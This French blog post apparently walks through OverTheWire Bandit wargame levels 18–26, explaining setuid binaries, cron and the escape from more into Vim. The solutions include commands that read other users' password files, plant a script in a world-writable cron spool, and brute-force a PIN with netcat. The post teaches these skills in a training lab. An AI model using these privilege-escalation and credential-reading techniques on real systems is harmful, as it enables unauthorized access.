OverTheWire: Bandit – 18 à 26

Cet article est le troisième d’une série de quatre :

Niveau 18

Pour le niveau 18, la connexion via SSH semble impossible :

$ ssh -p 2220 bandit18@bandit.labs.overthewire.org
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
…
Byebye !
Connection to bandit.labs.overthewire.org closed.

En effet, la description du niveau m’explique que le fichier .bashrc a été modifié pour interdire la connexion.

Le fichier .bashrc est exécuté lorsqu’une session interactive est démarrée par Bash. Une session interactive est une session démarrée par votre terminal, c’est à dire une section dans laquelle vous voyez votre invite de commande et pouvez exécuter des programmes – à la différence du mode script que vous utilisez lorsque vous invoquez Bash pour lancer un programme.

Je peux néanmoins passer une commande à ssh pour lancer un programme au lieu de démarrer une session interactive. Le mot de passe étant dans un fichier appelé readme, j’utilise cat pour le lire, tout simplement :

$ ssh -p 2220 bandit18@bandit.labs.overthewire.org cat readme
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
[[PASSWORD]]

Niveau 19

$ ssh -p 2220 bandit19@bandit.labs.overthewire.org

Je trouve dans le dossier personnel de bandit19 un binaire appelé bandit20-do. D’après la description du niveau, ce binaire a des permissions setuid. En effet, ls -l m’affiche ces permissions :

bandit19@bandit:~$ ls -l
total 8
-rwsr-x--- 1 bandit20 bandit19 7296 May  7 20:14 bandit20-do

C’est la première colonne -rwsr-x--- qui m’intéresse.

Elle se lit de gauche à droite comme ceci :

     ,- type du fichier
    /
   /          ,- permissions du groupe
  /          /
 /          /
-   rws   r-x   ---
      \           \
       \           \
        \           `- permissions pour les autres
         \
          `- permissions de l’utilisateur

La partie « type » est la plupart du temps un trait d’union - pour les fichiers simples – comme bandit20-do, ou d pour un dossier.

Chacun des trois autres segments est découpable en trois permissions : lecture (r), écriture (w) et exécution (x). Un trait d’union - signifie que la permission n’est pas accordée. Par exemple, un fichier qui a les permissions rwx peut être lu, modifié et exécuté ; un fichier avec les permissions r-- ne peut qu’être lu.

Dans les droits d’exécution vous pouvez trouver en lieu et place du x la permission s. Ce flag est appelé setuid ou suid et signifie que lorsque le fichier est exécuté, il a la permission de lancer des commandes en se faisant passer pour le propriétaire.

Pour résumer, avec -rwsr-x--- j’en déduis que :

  • bandit20-do est un fichier ;
  • bandit20 – le propriétaire – peut :
    • le lire
    • le modifier
    • l’exécuter
  • bandit19 – le groupe dont je fais partie – peut :
    • le lire
    • l’exécuter, potentiellement en tant que bandit20
  • le reste du monde ne peut ni le lire, ni le modifier, ni l’exécuter.

En exécutant ./bandit20-do, on me montre un exemple d’utilisation :

bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
  Example: ./bandit20-do id

id est une commande qui permet d’afficher l’utilisateur courant ainsi que son groupe. Par exemple :

bandit19@bandit:~$ id
uid=11019(bandit19) gid=11019(bandit19) groups=11019(bandit19)

Mon identifiant utilisateur – uid – est bandit19, mon identifiant de groupe – gid – est bandit19.

Je tâte un peu les permissions en lançant la commande donnée en exemple :

bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)

Ici, je remarque que mon identifiant utilisateur effectif – euid est bandit20. L’identifiant utilisateur effectif est généralement celui utilisé par les programmes lorsqu’ils vérifient les permissions d’accès. J’essaye de lire /etc/bandit_pass/bandit20 :

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
[[PASSWORD]]

Niveau 20

$ ssh -p 2220 bandit20@bandit.labs.overthewire.org

Encore un programme setuid. Cette fois il faut lui fournir un port en argument. Une fois lancé, il fait un appel sur localhost via le port donné, et compare ce qui lui est envoyé au mot de passe du niveau 20 – celui que je viens de découvrir. Si les deux mots de passe sont identiques, il renvoie le mot de passe du niveau 21.

J’utilise une fois de plus netcat – cette fois en mode écoute avec -l – pour créer un serveur temporaire qui va envoyer le mot de passe du niveau 20. Je ne précise pas le port sur lequel j’écoute afin de laisser netcat en trouver un libre, en revanche je précise l’option -v pour que netcat me dise lequel il a choisi. Notez l’esperluette &, qui demande à Bash de laisser tourner netcat en arrière-plan et de me redonner la main. Ainsi, je peux lancer ./suconnect en même temps.

bandit20@bandit:~$ nc -lv < /etc/bandit_pass/bandit20 &
[1] 26499
listening on [any] 39925 ...

bandit20@bandit:~$ ./suconnect 39925
connect to [127.0.0.1] from localhost [127.0.0.1] 36878
Read: [[OLD_PASSWORD]]
Password matches, sending next password
[[PASSWORD]]
[1]+  Done                    nc -lv < /etc/bandit_pass/bandit20

Niveau 21

$ ssh -p 2220 bandit21@bandit.labs.overthewire.org

L’énoncé de l’exercice précise qu’un programme est lancé, via cron, à des intervalles réguliers. Il m’enjoint à explorer /etc/cron.d.

cron est un programme qui permet d’exécuter des programmes automatiquement à un intervalle décidé à l’avance. Un cas typique d’utilisation est par exemple la rotation des fichiers de logs.

bandit21@bandit:~$ ls -l /etc/cron.d
total 24
-rw-r--r-- 1 root root  62 May 14 13:40 cronjob_bandit15_root
-rw-r--r-- 1 root root  62 Jul 11 15:56 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 May  7 20:14 cronjob_bandit22
-rw-r--r-- 1 root root 122 May  7 20:14 cronjob_bandit23
-rw-r--r-- 1 root root 120 May 14 09:41 cronjob_bandit24
-rw-r--r-- 1 root root  62 May 14 14:04 cronjob_bandit25_root

bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

Un fichier de configuration de cron se divise en trois colonnes :

  • une règle d’exécution ;
  • l’utilisateur qui va lancer la commande ;
  • la commande à exécuter.

Cette règle est soit un événement – par exemple @reboot – soit une série de 5 champs précisant des minutes, heures, jour du mois, mois et jour de la semaine afin de déclencher un programme à un instant donné. Par exemple, 56 12 * * 1 demande à cron de lancer une commande tous les lundis à 12:56.

Ici j’ai /usr/bin/cronjob_bandit22.sh qui se lance toutes les secondes. J’affiche sa source, qui par chance n’est pas protégée :

bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Ce programme – un script Bash – copie le mot de passe de bandit22 dans /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv. Je n’ai plus qu’à lire ce fichier :

bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
[[PASSWORD]]

Niveau 22

$ ssh -p 2220 bandit22@bandit.labs.overthewire.org

Ce niveau est très similaire au précédent. Je lis /etc/cron.d/cronjob_bandit23 :

bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

Je vais détailler le contenu de ce script. Tout d’abord on stocke le nom de l’utilisateur courant dans la variable $myname. Ensuite on calcule le hash MD5 de la chaîne I am user $myname, et le stocke dans la variable $mytarget. Enfin le mot de passe que l’on recherche est copié dans le fichier /tmp/$mytarget.

MD5 est une fonction de hachage qui permet de calculer une empreinte – ou hash – d’un fichier. Elle renvoie systématiquement une série de 16 octets, souvent représentée sous la forme d’une chaîne de 32 caractères hexadécimaux – c’est à dire des « chiffres » de 0 à 9 et de a à f. On s’en sert par exemple pour vérifier qu’un fichier n’a pas été corrompu : les empreintes MD5 de deux fichiers très semblables seront différentes. Ainsi, le hash MD5 de bonjour est f02368945726d5fc2a14eb576f7276c0 ; celui de Bonjour est ebc58ab2cb4848d04ec23d83f7ddf985.

Attention toutefois : l’utilisation de MD5 n’est plus vraiment recommandée de nos jours en raison de sa sécurité toute relative. En parler plus dans cet article serait hors sujet ; je vous laisse le soin de vous documenter sur le sujet avant de l’utiliser.

Le nom de l’utilisateur du script est précisé dans le fichier de configuration de cron, il s’agit de bandit23.

Je calcule le hash MD5 de I am user bandit23, et affiche le contenu du fichier correspondant dans /tmp :

bandit22@bandit:~$ echo I am user bandit23 | md5sum
8ca319486bfbbc3663ea0fbe81326349  -

bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
[[PASSWORD]]

Niveau 23

$ ssh -p 2220 bandit23@bandit.labs.overthewire.org

Encore un niveau autour de cron. Je commence à connaître la musique et vais droit à l’essentiel :

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

Ce programme est un tant soit peu plus complexe que le précédent. Tout d’abord on liste les fichiers dans /var/spool/bandit24 grâce à for i in * .* – cela signifie que pour chaque tour de boucle, $i aura le nom d’un fichier. Dans le niveau 4, je vous avais expliqué que Bash décompose l’astérisque * en une liste de fichiers non cachés. Préfixé par un point ., Bash liste tous les fichiers cachés.

Une vérification est ensuite faite pour ne pas traiter les fichiers spéciaux suivants : . – le dossier courant , et .. – le dossier parent.

Puis le programme utilise la commande stat pour vérifier le propriétaire du fichier, et l’exécute s’il appartient à l’utilisateur bandit23. L’utilisation de timeout ferme le processus si celui-ci tourne plus d’une minute.

Enfin, le fichier est supprimé.

Je vérifie les permissions de /var/spool/bandit24 :

bandit23@bandit:~$ ls -ld /var/spool/bandit24
drwxrwx-wx 28 root bandit24 4096 Sep 11 16:33 /var/spool/bandit24

J’utilise ici l’option -d de ls pour n’afficher que les permissions du dossier en question sans en lister le contenu.

Les droits de modification (w) sont donnés à tout le monde (dernier groupe des 3 colonnes de permissions) sur le dossier /var/spool/bandit24, ce qui me permet d’écrire dedans.

J’écris un programme pour copier le contenu de /etc/bandit_pass/bandit24 dans un fichier temporaire.

bandit23@bandit:~$ OUT_FILE=$(mktemp)

bandit23@bandit:~$ SCRIPT_FILE=$(mktemp)

bandit23@bandit:~$ chmod o+rw $OUT_FILE

bandit23@bandit:~$ chmod o+rx $SCRIPT_FILE

bandit23@bandit:~$ cat <<EOF > $SCRIPT_FILE
#!/bin/bash

cat /etc/bandit_pass/bandit24 >> $OUT_FILE
EOF

bandit23@bandit:~$ cp $SCRIPT_FILE $(mktemp -up /var/spool/bandit24)bandit23@bandit:~$ cat $OUT_FILE
[[PASSWORD]]

Tout d’abord, je crée deux fichiers, l’un pour stocker le mot de passe copié, l’autre pour stocker le script. J’autorise le monde entier à lire et modifier celui de sortie, et à lire et exécuter le script.

Puis j’utilise cat pour créer mon script ici, principalement pour des raisons de présentation de cet article. Vous pouvez tout à fait utiliser l’éditeur de votre choix pour cela !

Enfin, je copie mon script dans le répertoire /var/spool/bandit24, et j’attends la minute suivante que cron passe exécuter mon script, avant d’afficher le mot de passe.

Niveau 24

$ ssh -p 2220 bandit24@bandit.labs.overthewire.org

Je quitte enfin l’univers fabuleux de cron : pour ce niveau, il va falloir utiliser la force brute pour trouver le bon PIN parmi 10000 possibles. En effet, l’exercice veut que je soumette le mot de passe du niveau 24, puis le bon PIN à un service qui écoute sur le port 30002.

La force brute consiste à essayer toutes les combinaisons jusqu’à trouver la bonne. C’est une technique parfois efficace, d’autant plus lorsque le nombre de résultats est restreint et que la latence est faible – ce qui est notre cas.

En premier lieu, je me connecte manuellement pour voir de quoi il en retourne.

bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
a a
Wrong! Please enter the correct current password. Try again.
b b
Wrong! Please enter the correct current password. Try again.
^C

Il semble possible de pouvoir essayer plusieurs combinaisons sur une seule connexion, ce qui va me faciliter la tâche.

Je récupère le mot de passe du niveau 24, puis prépare une boucle pour former toutes les combinaisons possibles, avant de la passer à netcat. Après quelques secondes, le résultat :

bandit24@bandit:~$ pass=$(cat /etc/bandit_pass/bandit24)

bandit24@bandit:~$ for pin in {0..9}{0..9}{0..9}{0..9}; do echo $pass $pin; done | nc localhost 30002 | grep -v Wrong
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is [[PASSWORD]]

Exiting.

Bash décompose {0..n} en 0 1 2 … n et {0..n}{0..m} en 00 01 02 … nm. Grâce à {0..9}{0..9}{0..9}{0..9}, je forme toutes les combinaisons de 0000 à 9999.

Ce script teste toutes les combinaisons de $pass $pin, que j’envoie ensuite en une seule fois à netcat. Je filtre ensuite les résultats avec grep, qui, muni de l’option -v, masque toutes les lignes contenant Wrong.

Niveau 25

$ ssh -p 2220 bandit25@bandit.labs.overthewire.org

L’exercice 25 est à mon avis considérablement plus complexe que les précédents, au point où je me demande si j’ai trouvé la « bonne » façon de le résoudre. Je vous présente tout de même ma méthode.

Tout d’abord, je trouve un fichier bandit26.sshkey dans mon répertoire personnel et l’utilise pour me connecter via l’utilisateur bandit26 :

bandit25@bandit:~$ ssh -i ./bandit26.sshkey bandit26@localhost

…

  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.

La description du niveau indique que le shell par défaut de bandit26 n’est pas un simple terminal. En effet, il s’agit du programme /usr/bin/showtext :

bandit25@bandit:~$ grep bandit26 /etc/passwd
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

La commande more sert à scroller dans un fichier lorsque celui-ci est plus grand que ce que le terminal peut afficher. Après un rapide tour sur le manuel de more, je découvre qu’il est possible d’ouvrir un éditeur de texte via le raccourci v.

Je redimensionne mon terminal pour qu’il fasse moins de six lignes de haut – la hauteur du message dans text.txt – relance la commande de connexion SSH, puis appuie sur v.

J’arrive dans l’éditeur Vim. C’est un outil très puissant que je ne vais pas détailler dans cet article ; sachez juste qu’il se pilote à l’aide de commandes. Je l’utilise pour ouvrir le mot de passe grâce à la commande :e /etc/bandit_pass/bandit26.

Niveau 26

Il existe une possibilité pour lancer un shell dans Vim : la commande :shell. Cependant, le shell de l’utilisateur n’étant pas interactif, je dois d’abord le reconfigurer. Vim me permet de le faire grâce à la commande :set shell. Je lance :set shell=/bin/bash, puis :shell. Et me voilà devant un prompt plus familier !

Un rapide ls me fait découvrir un fichier dont le nom est familier : bandit27-do. J’utilise la même technique que pour le niveau 20 :

bandit26@bandit:~$ ./bandit27-do id
uid=11026(bandit26) gid=11026(bandit26) euid=11027(bandit27) groups=11026(bandit26)

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
[[PASSWORD]]

J’utilise exit pour quitter Bash, puis :q pour quitter Vim, et enfin q pour quitter more.

… et ensuite ?

Vous retrouverez les solutions des niveaux 27 à 33 dans l’article suivant.